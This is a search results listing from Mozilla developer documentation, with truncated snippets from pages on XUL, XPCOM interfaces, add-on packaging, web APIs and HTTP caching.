this guide to searching through crash reports may help you locate the crash reports that will help you find and fix the firefox bug you're working on.
... specifically, crash-stats offers two basic functions: searching you can search the crash reports database by over 100 criteria: crash signature, date, platform, product, version, etc.
... grouping you can cluster the results of each search into groups using the same criteria.
...And 44 more matches
ui/button/toggle - Archive of obsolete content
with this module you can create buttons that function like a check box, representing an on/off choice.
...toggle buttons have two extra features: they emit a change event when clicked, as well as a click event.
... they have an extra attribute checked that is automatically toggled when the button is clicked.
...And 43 more matches
Install Manifests - Archive of obsolete content
it contains metadata identifying the add-on, providing information about who created it, where more information can be found about it, which versions of what applications it is compatible with, how it should be updated, and so on.
... id the id of the extension, which must be one of the following: guid (firefox 1.0) a string formatted like so: extensionname@example.org the latter format is significantly easier to generate and manipulate.
... firefox 1.5 has checking to ensure that your id falls into one format or the other and will refuse to install add-ons that have malformed ids.
...And 43 more matches
Making asynchronous programming easier with async and await - Learn web development
previous overview: asynchronous next more recent additions to the javascript language are async functions and the await keyword, part of the so-called ecmascript 2017 javascript edition (see ecmascript next support in mozilla).
... these features basically act as syntactic sugar on top of promises, making asynchronous code easier to write and to read afterwards.
... they make async code look more like old-school synchronous code, so they're well worth learning.
...And 43 more matches
BluetoothCharacteristicProperties - Web APIs
the bluetoothcharacteristicproperties interface of the the web bluetooth api provides the operations that are valid on the given bluetoothremotegattcharacteristic.
... this interface is returned by calling bluetoothremotegattcharacteristic.properties.
... properties authenticatedsignedwritesread only returns a boolean that is true if signed writing to the characteristic value is permitted.
...And 43 more matches
Advanced Rules - Archive of obsolete content
the simple rule syntax is really just a shortcut for the full rule syntax which is described below.
...full rules contain three child tags, a conditions tag, a bindings tag and an action tag, although the bindings tag is not always needed.
... the conditions element is used to specify the criteria for matching a given resource.
...And 42 more matches
Templates - Archive of obsolete content
populating elements xul provides a method in which we create elements from data supplied by rdf, either from an rdf file or from an internal datasource.
... numerous datasources are provided with mozilla such as bookmarks, history and mail messages.
... usually, elements such as treeitems and menuitems will be populated with data.
...And 42 more matches
Trees - Archive of obsolete content
ArchiveMozillaXULTutorialTrees
« previousnext » xul provides a way to create tabular or hierarchical lists using a tree.
...it can be used with rows either in a flat list or arranged into a hierarchy.
...(using advanced features, progress meters or checkboxes also can be added to the tree) a tree consists of two parts, the set of columns, and the tree body.
...And 42 more matches
TouchEvent - Web APIs
the touchevent interface represents an uievent which is sent when the state of contacts with a touch-sensitive surface changes.
... this surface can be a touch screen or trackpad, for example.
... touches are represented by the touch object; each touch is described by a position, size and shape, amount of pressure, and target element.
...And 42 more matches
Creating XPI Installer Modules - Archive of obsolete content
addons for various toolkit applications, such as firefox or thunderbird, should be packaged in a different way.
... mozilla has introduced major changes to the way that themes and all the other parts of the ui are packaged.
... this new packaging scheme is called xpi (pronounced "zippy"), and interacts with xpinstall.
...And 41 more matches
Introduction to XUL - Archive of obsolete content
preamble mozilla has configurable, downloadable chrome, meaning that the arrangement and even presence or absence of controls in the main window is not hardwired into the application, but loaded from a separate ui description.
... in fact, most of mozilla's windows (and dialogs) will be described using this mechanism.
... xul (pronounced "zool," as if that spelling helped any, and short for "xml user interface language") is our name for the language in which these ui descriptions are built.
...And 41 more matches
MenuItems - Archive of obsolete content
unlike the access key, which only functions while the menu is open, a shortcut key works at any time.
...the "accel" modifier key varies on each platform, but is the key typically used for shortcut keys.
...you might do this if the key associated with the item changes, for instance a list of open windows displayed on a window menu.
...And 41 more matches
Custom toolbar button - Archive of obsolete content
(for seamonkey 1.x, see the page custom toolbar button:seamonkey.) you do not need any special technical skills or tools, and almost all the information you need is on this page.
... introduction the technique described here does not involve any hacking.
...your operating system normally provides them: a way to create and work with files and directories a text editor for plain text files character encoding some text editors have a setting for character encoding.
...And 41 more matches
nsIBrowserSearchService
netwerk/base/public/nsibrowsersearchservice.idlscriptable please add a summary to this article.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/browser/search-service;1.
... to access this service, use: var browsersearchservice = components.classes["@mozilla.org/browser/search-service;1"] .getservice(components.interfaces.nsibrowsersearchservice); attempting to use any method or attribute of this interface before init() has completed will force the service to fall back to a slower, synchronous, initialization.
...And 41 more matches
JavaScript Object Management - Archive of obsolete content
« previousnext » chrome javascript in this section we'll look into how to handle javascript data effectively, beginning with chrome code, in ways which will prevent pollution of shared namespaces and conflicts with other add-ons resulting from such global namespace pollution.
...this needs to be replaced with an identifier name which is unique to your add-on.
...however, most extensions are small projects by individuals, so these examples follow a more practical approach of having just one namespace with the project name.
...And 40 more matches
JavaScript Client API - Archive of obsolete content
this api is available in mozilla-based products that use sync, such as firefox desktop.
... further, you agree (a) to maintain and link to (including on websites from which your third party client may be downloaded) a separate, conspicuous, and reasonably detailed privacy policy detailing how data collected or transmitted by your third party client is managed and protected; (b) that your third party client will only store data in encrypted form on the firefox sync servers operated by mozilla; (c) that you and your third party client will use the firefox sync apis so...
...ded purpose; (d) that your third party client will not hide or mask its identity as it uses the services and/or firefox sync apis, including by failing to follow required identification conventions; and (e) that you and your third party client will not use the firefox sync apis for any application or service that replicates or attempts to replicate the services or firefox sync experience unless such use is non-confusing (by non-confusing, we mean that people should always know with whom they are dealing and where the information or software they are downloading came from).
...And 40 more matches
Mozilla Application Framework in Detail - Archive of obsolete content
where speed is the foremost consideration, we provide c++ libraries with multi-language interfaces for comprehensive, performant access to networking, filesystem, content, rendering, and much more.
... what this means to you as the developer is this: you can take advantage of skills you already have with xml or web technologies to design and implement anything from a simple text editor to a comprehensive ide - complete with all of the interface widgets that you would find in virtually any major application framework.
... another benefit of this standards-based approach to ui development is that your application is cross-platform "out of the box".
...And 40 more matches
Using XPInstall to Install Plugins - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
...xpinstall is a javascript-based installer technology that works across all the platforms that mozilla and netscape browsers based on mozilla (such as netscape 7) are deployed.
... it can be a way to ensure a smooth user-experience when obtaining plugins, without obliging the user to exit the browsing environment to launch a binary installer (the classic setup.exe experience on windows) or obliging the user to restart their browser.
...And 40 more matches
Working with windows in chrome code
this article describes working with multiple windows in mozilla chrome code (xul applications and extensions).
... opening windows from a <script> in a window or an overlay to open a new window, we usually use a window.open or window.opendialog dom call, like this: var win = window.open("chrome://myextension/content/about.xul", "aboutmyextension", "chrome,centerscreen"); the first parameter to window.open is the uri of the xul file that describes the window and its contents.
...this is different from the user-visible window title, which is specified using xul.
...And 40 more matches
A simple RTCDataChannel sample - Web APIs
the rtcdatachannel interface is a feature of the webrtc api which lets you open a channel between two peers over which you may send and receive arbitrary data.
... the api is intentionally similar to the websocket api, so that the same programming model can be used for each.
... in this example, we will open an rtcdatachannel connection linking two elements on the same page.
...And 40 more matches
Inheritance and the prototype chain - JavaScript
each object has a private property which holds a link to another object called its prototype.
... that prototype object has a prototype of its own, and so on until an object is reached with null as its prototype.
... by definition, null has no prototype, and acts as the final link in this prototype chain.
...And 40 more matches
context-menu - Archive of obsolete content
items are bound to contexts in much the same way that event listeners are bound to events.
...rather, create your item only once and supply a context that matches the target url.
...menu items for each add-on will be grouped together automatically.
...And 39 more matches
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
on october 11, 2002, wired launched a brand-new site design that uses validating xhtml for its structure and a small collection of css files for its layout.
... wired news redesign in a nutshell driven by xhtml 1.0 transitional and css; allows centralized control over layout and appearance for thousands of pages; simple markup allows for rapid changes to templates; average page weight dropped by almost half; page layout accomplished with simple css positioning; vastly increased accessibility without special coding or user agent detection.
...this includes rules and guidelines applying to everything from headers, footers, page hierarchy, titles, typography, iconography, navigation, and others.
...And 39 more matches
CSS3 - Archive of obsolete content
experimental parts are vendor-prefixed and should either be avoided in production environments, or used with extreme caution as both their syntax and semantics can change in the future.
... modules and the standardization process css level 2 needed 9 years, from august 2002 to june 2011 to reach the recommendation status.
...each of these modules is now an independent part of the language and moves towards standardization at its own pace.
...And 39 more matches
Mozilla Crypto FAQ - Archive of obsolete content
in this document i try to answer some frequently asked questions about the mozilla web browser and mail/news client and its support for ssl, s/mime, and related features based on cryptographic technology.
...regulation of encryption technology.
... on september 6, 2000, rsa security released the rsa patent into the public domain, two weeks before the patent was scheduled to expire (on september 20, 2000).
...And 39 more matches
toolbarbutton - Archive of obsolete content
attributes accesskey, autocheck, checkstate, checked, command, crop, dir, disabled, dlgtype, group, image, label, oncommand, open, orient, tabindex, title, type, validate properties accesskey, accessibletype, autocheck, checkstate, checked, command, crop, dir, disabled, dlgtype, group, image, label, open, orient, tabindex, type examples <toolbar id="test-toolbar"> <toolbarbutton accesskey="p" label="plain"/> ...
... <toolbarbutton accesskey="c" label="checkbox" type="checkbox"/> <toolbarbutton accesskey="b" label="menu-button" type="menu-button"> <menupopup> <menuitem label="menu item 1"/> <menuitem label="menu item 2"/> </menupopup> </toolbarbutton> <toolbarbutton accesskey="m" label="menu" type="menu"> <menupopup> <menuitem label="menu item 1"/> <menuitem label="menu item 2"/> </menupopup> </toolbarbutton> </toolbar> <toolbar id="radio-toolbar"> <toolbarbutton accesskey="1" label="radio 1" type="radio" group="radiogroup"/> <toolbarbutton accesskey="2" label="radio 2" type="radio" group="radiogroup"/> <toolbarbutton accesskey="3" label="radio 3" type="radio" group="radiogroup"/> </toolbar> attributes accesskey type: character this should...
... be set to a character that is used as a shortcut key.
...And 39 more matches
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
by davey waterson, javascript architect, aptana there's no debate that javascript is the most widely used language client-side on the web.
...now more than 10 years later, with netscape's technology group having been transformed into the mozilla foundation, server-side javascript is seeing a strong resurgence because of the simplicity it provides to web developers reinvigorated by the fact that today's cpus can process javascript more than 10x faster than the cpus of the mid-90's ever could.
...in fact, the next javascript engine from mozilla, tracemonkey, is poised to boost javascript performance by factors of 20 to 40 times according to brendan eich, mozilla cto and the creator of javascript.
...And 39 more matches
Multiple Rules - Archive of obsolete content
in addition, conditions may be applied to each rule.
... only those results that match the conditions have content generated for them.
... for each result, the conditions associated with each rule are examined to see if they match.
...And 38 more matches
RDF Modifications - Archive of obsolete content
« previousnext » one of the most useful aspects of using templates with rdf datasources is that when the rdf datasource changes, for instance a new triple is added, or a triple is removed, the template updates accordingly, adding or removing result output as needed.
...when the datasource is modified, the datasource will notify any observers of the change.
...you don't need to implement this observer yourself, although you may add an observer to the datasource if you want to be notified when the data changes.
...And 38 more matches
Mozilla release FAQ - Archive of obsolete content
originally, the plan was just to re-stabilize the code and release 5.0, but it was decided within the community that the more ambitious changes that were planned for later integration were close to being ready.
... the old layout engine, networking engine, and several of the older modules were gutted, and much later, the sources reached the point where netscape was comfortable making a release, and so netscape 6.0 was released.
...the source to mozilla was first released on 31 march 1998.
...And 38 more matches
LiveConnect Overview - Archive of obsolete content
this chapter describes using liveconnect technology to let java and javascript code communicate with each other.
... the chapter assumes you are familiar with java programming.
...all javascript access to java takes place with these objects, which are summarized in the following table.
...And 38 more matches
nsIEditorSpellCheck
editor/idl/nsieditorspellcheck.idlnot scriptable provides spell checking commands for nsieditor instances.
... inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) implemented by: @mozilla.org/editor/editorspellchecker;1.
... to create an instance, use: var editorspellcheck = components.classes["@mozilla.org/editor/editorspellchecker;1"] .createinstance(components.interfaces.nsieditorspellcheck); method overview void addwordtodictionary(in wstring word); boolean canspellcheck(); void checkcurrentdictionary(); boolean checkcurrentword(in wstring suggestedword); boolean checkcurrentwordnosuggest(in wstring suggestedword); astring getcurrentdictionary(); void getdictionarylist([array, size_is(count)] out wstring dictionarylist, out pruint32 count); wstring getnextmisspelledword(); void getpersonaldictionary(); wstring getpersonaldictionaryword(); wstring getsuggestedword(); void ign...
...And 38 more matches
nsIHttpChannel
netwerk/protocol/http/nsihttpchannel.idlscriptable this interface allows for the modification of http request parameters and the inspection of the resulting http response status and headers when they become available.
... inherits from: nsichannel last changed in gecko 1.3 to create an http channel, use nsiioservice with a http uri, for example: var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var ch = ios.newchannel("https://www.example.com/", null, null); method overview void getoriginalresponseheader(in acstring aheader, in nsihttpheadervisitor avisitor); acstring getrequestheader(in acstring aheader); acstring getresponseheader(in acstring header); boolean isnocacheresponse(); boolean isnostoreresponse(); void redirectto(in nsiuri anewuri); void setemptyrequestheader(in acstring aheader); void setreferrerwithpolicy(in nsiuri referrer, i...
...f the referring uri referrer_policy_origin_when_xorigin same as the default; only send the origin of the referring uri for cross-origin requests referrer_policy_unsafe_url always send the referrer, even when downgrading from https to http attributes attribute type description allowpipelining boolean this attribute is a hint to the channel to indicate whether or not the underlying http transaction should be allowed to be pipelined with other transactions.
...And 38 more matches
XPCOM Objects - Archive of obsolete content
on top of it lies the chrome, mostly written in xml, javascript and css.
...well, those are applications that, simply put, take the underlying platform with perhaps a few changes and additions, and then write their own chrome layer.
... xpcom is the way in which the two layers (xulrunner and chrome) communicate.
...And 37 more matches
Menus - Archive of obsolete content
it is normally attached to a menubar or to a button.
...these tags can be used to create menus which sit on a menubar or are attached to buttons.
... there are four elements that a menupopup can be attached to.
...And 37 more matches
Positioning - Archive of obsolete content
positioning popups there are several ways in which the location of a popup on screen may be controlled.
... a submenu, however, is placed by default to the right of the parent menu item, such that the top edge of the menu is aligned with the top edge of the parent menu item.
... for popups attached using the popup or context attributes, the default position to appear is with the upper left corner (or upper right corner in right to left locales) at the position where the mouse was clicked.
...And 37 more matches
Skinning XUL Files by Hand - Archive of obsolete content
to skin a xul file means to change the overall look of that file by changing its style information.
... by the way, in contrast to the term skin, "chrome" refers to the skin and the content and whatever localization and platform-specific files are necessary for a particular part of the application or window.
... the skin is just the style or appearance of an interface, where the chrome is the style, content, and structure.
...And 37 more matches
tabbrowser - Archive of obsolete content
it is similar to the browser element, except that multiple documents can be displayed, each in a separate tab.
... attributes autocompleteenabled, autocompletepopup, autoscroll, contentcontextmenu, contenttooltip, handlectrlpageupdown, onbookmarkgroup, onnewtab, tabmodalpromptshowing properties browsers, cangoback, cangoforward, contentdocument, contenttitle, contentvieweredit, contentviewerfile, contentwindow, currenturi, docshell, documentcharsetinfo, homepage, markupdocumentviewer, securityui, selectedbrowser, selectedtab, sessionhistory, tabcontainer, tabs, visibletabs, webbrowserfind, webnavigation, webprogress methods addprogresslistener, addtab, addtabsprogresslistener,appendgroup, getbrowseratindex, getbrowserindexfordocument, getbrowserfordocument, getbrowserfortab, geticon, getnotificationbox, gettabforbrowser, gettabmodalp...
... onbookmarkgroup not in firefox type: script code this code executes when the user chooses the "bookmark this group of tabs" command.
...And 37 more matches
The Business Benefits of Web Standards - Archive of obsolete content
caught between a rock and a hard place, web designers face a formidable challenge.
... this article discusses how adhering to web standards, and leaving behind proprietary markup and technologies, can contribute to a company's business goals.
...storing css in a separate document (aka style sheet) and applying it to a set of html documents permits a complete change of presentation for all these documents in a snap.
...And 37 more matches
Using the Right Markup to Invoke Plugins - Archive of obsolete content
the object element: w3c standards and cross-browser issues the object element is part of the html 4.01 specification, and is the recommended mechanism to invoke plugins.
... traditionally, the object element has been used differently by microsoft internet explorer and by mozilla-based browsers such as netscape 7.
... in ie, the object element is used to invoke a plugin that is built on the activex architecture.
...And 37 more matches
nsICacheEntryDescriptor
netwerk/cache/nsicacheentrydescriptor.idlscriptable this interface provides a cache entry descriptor.
... inherits from: nsicacheentryinfo last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void close(); void doom(); void doomandfailpendingrequests(in nsresult status); string getmetadataelement(in string key); void markvalid(); nsiinputstream openinputstream(in unsigned long offset); nsioutputstream openoutputstream(in unsigned long offset); void setdatasize(in unsigned long size); void setexpirationtime(in pruint32 expirationtime); void setmetadataelement(in string key, in string value); void visitmetadata(in nsicachemetadatavisitor visitor); attributes attribute type description accessgranted nscacheaccessmode get the access granted to this descriptor.
... see nsicache for the definitions of the access modes and a thorough description of their corresponding meanings.
...And 37 more matches
ui/frame - Archive of obsolete content
usage this module exports the frame constructor, which can be used to create frame components.
... constructing frames the frame constructor takes one mandatory option, which is a url pointing to an html document supplied under your add-ons "data" directory.
... communicating with frames you can exchange messages between the main add-on code and scripts loaded into the frame using an api modeled on window.postmessage().
...And 36 more matches
Layout System Overview - Archive of obsolete content
galley and page presentations: the presentation generally is constrained by the width of the window in which the presentation is to be displayed, and a height that extends as far as necessary.
...additionally, layout must support a paginated presentation, where the width of the presentation is constrained by the dimensions of the printed output (paper) and the height of each page is fixed.
... this paged presentation presents several challenges not present in the galley presentation, namely how to break up elements that are larger than a single page, and how to handle changes to page dimensions.
...And 36 more matches
Creating a Help Content Pack - Archive of obsolete content
this is still very much a work in progress, tho, and i need to complete the rest of it soon (where "complete" means "use what's there that's good, build on the stuff that's not as good, and add other useful information as necessary".
...you can create a content packs which inherit from existing mozilla help content packs.
... the contents of a content pack content packs consist of a general pack description file, table of contents, index, search, glossary, and help documents.
...And 36 more matches
Template Logging - Archive of obsolete content
logging template results there are two main ways in which template errors may be detected.
... the first debugging method involves logging all new results that apply to the template due to the data changing as well as logging results that are changed or removed.
... in addition, each result generated when the template is first created and initialized is logged.
...And 36 more matches
Building a Theme - Archive of obsolete content
introduction this tutorial will take you through the steps required to build a very basic theme - one which updates the background color of the toolbars in firefox.
... note: firefox for mac os x has changed some directories so the guide may be obsolete.
... an example of the content within a typical xpi file for a theme: example.xpi: /install.rdf /chrome.manifest /preview.png /icon.png /chrome/ browser/ communicator/ global/ mozapps/ we'll want to create a file structure similar to the one above for our tutorial, so let's begin by creating a folder for your theme somewhere on your hard disk (e.g.
...And 36 more matches
Accessible Toolkit Checklist
the work when implementing a new toolkit it's important to: implement standard keyboard behavior, which can vary from platform to platform.
... expose your ui - a way for assistive technologies such as screen readers, screen magnifiers and voice dictation software to understand your software.
...implement true usability for everyone, and make your toolkit follow the guidelines for each platform.
...And 36 more matches
nsICache
the nsicache is a namespace for various cache constants.
... netwerk/cache/public/nsicache.idlscriptable please add a summary to this article.
... last changed in gecko 1.9 (firefox 3) inherits from: nsisupports constants constant value description access_none 0 access granted - no descriptor is provided.
...And 36 more matches
Advanced techniques: Creating and sequencing audio - Web APIs
in this tutorial, we're going to cover sound creation and modification, as well as timing and scheduling.
...however, we want to demonstrate how to build such a demo from first principles, as a learning exercise.
... the interface consists of master controls, which allow us to play/stop the sequencer, and adjust the bpm (beats per minute) to speed up or slow down the "music".
...And 36 more matches
Architecture - Accessibility
mozilla exposes a document containment hierarchy with text and embedded objects.
...however in accessibility hierarchies such as atk and iaccessible2, text is not exposed in leaf nodes as it is in a w3c dom.
...it is concatenated together with all its sibling text nodes, and embedded objects between the text nodes are exposed as the unicoded embedded object character '\xfffc'.
...And 36 more matches
Cache-Control - HTTP
the cache-control http header holds directives (instructions) for caching in both requests and responses.
... header type general header forbidden header name no cors-safelisted response header yes syntax caching directives have the following rules to be valid: case-insensitive, but lowercase is recommended.
... some directives have an optional argument, which can be either a token or a quoted-string.
...And 36 more matches
Appendix D: Loading Scripts - Archive of obsolete content
because there are such a diverse array of add-ons, and because the needs of developers have grown organically over time, the gecko runtime provides a number of means to dynamically load and execute javascript files.
... each of these means has its own advantages and disadvantages, as well as its own quirks which may trap the unwary.
... the examples below which make use of the services global assume that you're previously imported the services.jsm module.
...And 35 more matches
Setting Up a Development Environment - Archive of obsolete content
most xul tools and plugins you'll find online are merely templates that generate the folder structure for the project, and that's not much help.
...we chose make because this is the same system used by mozilla to build firefox, and it is available for all operating systems.
...in cygwin installations you'll have to explicitly check the make and zip utilities from the long list of packages to download and install.
...And 35 more matches
XUL Events - Archive of obsolete content
the events listeners can be attached using addeventlistener and removed using removeeventlistener.
... some of the events can be attached using attributes as well.
... when attaching event listeners using attributes, be aware that only one listener can be attached at a time.
...And 35 more matches
Reading from Files - Archive of obsolete content
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
... there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
...using the former will cause characters in the stream to be interpreted with a particular character encoding.
...And 35 more matches
button - Archive of obsolete content
attributes accesskey, autocheck, checkstate, checked, command, crop, dir, disabled, dlgtype, group, icon, image, label, open, orient, tabindex, type properties accesskey, accessibletype, autocheck, checkstate, checked, command, crop, dir, disabled, dlgtype, group, image, label, open, orient, tabindex, type examples <button label="press me" oncommand="alert('you pressed me!');"/> attributes access...
...key type: character this should be set to a character that is used as a shortcut key.
... this should be one of the characters that appears in the label attribute for the element.
...And 35 more matches
nsIApplicationCache
netwerk/base/public/nsiapplicationcache.idlscriptable this interface represents an application cache, which stores resources for offline use.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) each application cache has a unique client id for use with nsicacheservice.opensession() method, to access the cache's entries.
... each entry in the cache can be marked with a set of types, specified in the constants section.
...And 35 more matches
WebGLRenderingContext.getFramebufferAttachmentParameter() - Web APIs
the webglrenderingcontext.getframebufferattachmentparameter() method of the webgl api returns information about a framebuffer's attachment.
... syntax any gl.getframebufferattachmentparameter(target, attachment, pname); parameters target a glenum specifying the binding point (target).
... attachment a glenum specifying the attachment point for the texture.
...And 35 more matches
Tabbed browser - Archive of obsolete content
each snippet normally includes some code to run at initialization, these are best run using a load listener.
...if you need to work with tabs from a non-browser window, you need to obtain a reference to one first, see working with windows in chrome code for details.
...within the firefox browser are tabs and inside each tab is a browser, both in the common sense of a web page browser and the xul sense of a browser element.
...And 34 more matches
Tamarin build documentation - Archive of obsolete content
supported platforms tamarin currently supports the following operating systems and/or architectures.
... the tamarin codebase has the ability to build additional code which supports debugging hooks.
...the work for that fix also included some changes to the configure.py default behavior to decouple the --target switch from sdk choice: there is a new switch, --mac-sdk, that selects the 10.4u, 10.5 or 10.6 sdk.
...And 34 more matches
Venkman Introduction - Archive of obsolete content
features such as breakpoint management, call stack inspection, and variable/object inspection are available from the user interface and from console commands, letting you work in the way you are most accustomed to.
... starting the debugger the javascript debugger is automatically pre-installed in mozilla 1.x but must be installed separately in firefox and other gecko-based products, such as thunderbird and netscape 7.x.
... fortunately, the xpinstall technology makes it possible to install new application modules in firefox by just clicking a hyperlink.
...And 34 more matches
Modifying a XUL Interface - Archive of obsolete content
you can then set attributes of the element using the setattribute() function and append it to the xul document using the appendchild() function.
... for example, the following will add a button to a xul window: example 1 : source view <script> function addbutton(){ var abox = document.getelementbyid("abox"); var button = document.createelement("button"); button.setattribute("label","a new button"); abox.appendchild(button); } </script> <box id="abox" width="200"> <button label="add" oncommand="addbutton();"/> </box> this example has two parts a box container element in xul.
... the button element has two attributes "label" and "oncommand" a javascript function named "addbutton()" this script first gets a reference to the box with getelementbyid(), which is the container to add a new button to.
...And 34 more matches
browser - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a xul <browser> element represents a frame which is expected to contain a view of a web document.
... get firefox most of the properties and methods of the browser will rarely be used and can only be called from chrome urls.
... other urls will need to use the document and history objects to change the displayed document.
...And 34 more matches
Extentsions FAQ - Archive of obsolete content
just drag them there from the toolbar customisation window, like you would when adding buttons to the toolbars." option #4 install toolbar control <http://webdesigns.ms11.net/chromeditp.html> asking for help with getting an extension to process windows messages.
..."); var replaceme = document.getelementbyid("replaceme"); replaceme.parentnode.replacechild(newnode, replaceme); is it possible to place an image in the window that can be moved to anywhere in the window, and always remain on top of everything else?(similiar to using position:absolute and-index:100000 in html) you can almost do this with a stack: <window ...> <stack flex="1"> <image top="40" left="80"/> <vbox> other content here </vbox> </stack> </window> the only restriction is that your image can't overlap the right or bottom of the window.
...<https://bugzilla.mozilla.org/show_bug.cgi?id=312818> "thunderbird requires domain in addresses and doesn't always add default" there is an extension that allows what you want attached to one of the comments in this bug.
...And 34 more matches
Limitations of chrome scripts
this page describes patterns that used to work in the chrome process that will no longer work in multiprocess firefox.
...for example: whenever extensions try to access web content from the chrome process, the browser will return a cross process object wrapper that gives the chrome code synchronous access to the content.
... however, these shims are not a substitute for migrating extensions: they are only a temporary measure, and will be removed eventually they can have a bad effect on responsiveness there are likely to be edge cases in which they don't work properly you can see all the places where your add-on uses compatibility shims by setting the dom.ipc.shims.enabledwarnings preference and watching the browser console as you use the add-on.
...And 34 more matches
AudioNode.channelInterpretation - Web APIs
the channelinterpretation property of the audionode interface represents an enumerated value describing the meaning of the channels.
... when the number of channels doesn't match between an input and an output, up- or down-mixing happens according the following rules.
... this can be somewhat controlled by setting the audionode.channelinterpretation property to speakers or discrete: interpretation input channels output channels mixing rules speakers 1 (mono) 2 (stereo) up-mix from mono to stereo.
...And 34 more matches
remote/parent - Archive of obsolete content
enables you to load modules, and privileged parts of your add-on in general, into child processes.
... usage in multiprocess firefox: the browser ui runs in one process, sometimes called the chrome process or the parent process web content runs in one or more other processes, sometimes called content processes or remote processes or child processes.
... by default, add-ons run in the chrome process and can't directly access web content.
...And 33 more matches
Adding sidebars - Archive of obsolete content
« previousnext » the sidebar in firefox is a relatively large and flexible space to add rich interfaces without requiring new windows or complicated overlays.
... sidebars take as much space as the user wants them to, and provide a frame where you can add elaborate data and controls.
... <menupopup id="viewsidebarmenu"> <menuitem id="xulschoolhello-sidebar" label="&xulschoolhello.sidebar.title;" accesskey="&xulschoolhello.sidebar.accesskey;" type="checkbox" autocheck="false" group="sidebar" sidebarurl="chrome://xulschoolhello/content/sidebar.xul" sidebartitle="&xulschoolhello.sidebar.title;" oncommand="togglesidebar('xulschoolhello-sidebar');" /> </menupopup> the example in the mdc page includes a shortcut...
...And 33 more matches
Handling Preferences - Archive of obsolete content
preferences are used to store settings and information to change their default behavior.
...if you need to refer to the term "preference" in any of your locale files, you must change the string depending on the operating system.
... tip: you can use window.navigator.platform in your chrome code to figure out the operating system firefox is running on.
...And 33 more matches
Focus and Selection - Archive of obsolete content
focused elements the focused element refers to the element which currently receives input events.
...the user can change the focus by clicking an element with the mouse or by pressing the tab key.
...rearranging the tab order you can change the order in which elements are focused when the user presses the tab key by adding a tabindex attribute to an element.
...And 33 more matches
How to implement a custom autocomplete search component
the xul textbox element supports an autocomplete mechanism that is used to create a textbox with a popup containing a list of possible completions for what the user has started to type.
... there are actually two autocomplete mechanisms: an older mechanism that is part of the "xpfe" codebase and is used in older applications such as thunderbird and seamonkey.
... a newer and slightly simplified mechanism that is used in "toolkit" applications such as firefox and xulrunner.
...And 33 more matches
XPCOM changes in Gecko 2.0
several changes that affect xpcom component compatibility are taking place in gecko 2.
... this article details those changes, and provides suggestions for how to update your code.
... no more frozen interfaces there are no longer any frozen interfaces; from now on, all interfaces are subject to change.
...And 33 more matches
Getting Started - Archive of obsolete content
for this reason we suggest that you install a second copy into a second directory (make sure that you use a different profile as stated in the release notes) extract the chrome the chrome is stored in \mozilla\chrome and the individual modules are stored in jar files.
...extract classic.jar into \classic (\mozilla\chrome\classic), but make sure to keep the directory structure.
...now all of the css and images are extracted, but if you make some changes and run mozilla as it is, you will not see them because it's still set to look at the files in the jar files.
...And 32 more matches
Document Object Model - Archive of obsolete content
when an xul file is loaded, the tags are parsed and converted into a hierarchical document structure of nodes, one for each tag and block of text.
...specific xul elements also provide additional functions which may be used.
... each xul file that is loaded will have its own document displayed in a window or frame.
...And 32 more matches
panel - Archive of obsolete content
ArchiveMozillaXULpanel
typically, it will be attached to a button using the button's type attribute so that when the button is pressed, the panel will be displayed.
...for those versions of firefox, it is best to avoid child frames in a panel, if possible.
..., consumeoutsideclicks, fade, flip, ignorekeys, label, left, level, noautofocus, noautohide, norestorefocus, onpopuphidden, onpopuphiding, onpopupshowing, onpopupshown, position, titlebar, top, type properties accessibletype, label, popupboxobject, popup, state methods hidepopup, moveto, openpopup, openpopupatscreen, sizeto examples the following example shows how a panel may be attached to a label.
...And 32 more matches
Necko Architecture
mimetype - mime <-> file extension mapping nkabout - about: protocol nkdata - data: protocol nkfile - file: protocol nkftp - ftp: protocol nkkeyword - keyword: protocol nkresrc - resource: protocol cnvts - stream converters stremcnv - stream converter service these libraries will change with time and illustrate the modularity of necko.
... architecture after a few iterations of our original design, the current necko architecture looks something like this: urls necko's primary responsibility is moving data from one location, to another location.
...the uri interface does resource-generic things like getting/setting the scheme, or getting/setting the spec (everything beyond the first colon ':').
...And 32 more matches
Request.cache - Web APIs
WebAPIRequestcache
the cache read-only property of the request interface contains the cache mode of the request.
... it controls how the request will interact with the browser's http cache.
... syntax var currentcachemode = request.cache; value a requestcache value.
...And 32 more matches
widget - Archive of obsolete content
you can attach panels to them that open when they're clicked, or you can define a custom click handler to perform some other action, like opening a web page in a tab.
...by exposing your interface as a widget, your add-on would automatically inherit such functionality.
... for example, this widget contains an image, so it looks like a simple icon: require("sdk/widget").widget({ id: "mozilla-icon", label: "my mozilla widget", contenturl: "http://www.mozilla.org/favicon.ico" }); you can make contenturl point to an html or icon file which you have packaged inside your add-on.
...And 31 more matches
Localization technical reviews
this guide provides details on what a localization technical review is, what criteria are used for the technical reviews, and the process for requesting one and following its progress.
... the technical review process we use for new localizations can be confusing for any trying to start a new localization.
...each qa review helps us in these ways: ensures that your l10n work is visible and functional within the mozilla application.
...And 31 more matches
Content Scripts - Archive of obsolete content
a message-passing api allows the main code and content scripts to communicate with each other this complete add-on illustrates all of these principles.
... its "main.js" attaches a content script to the current tab using the tabs module.
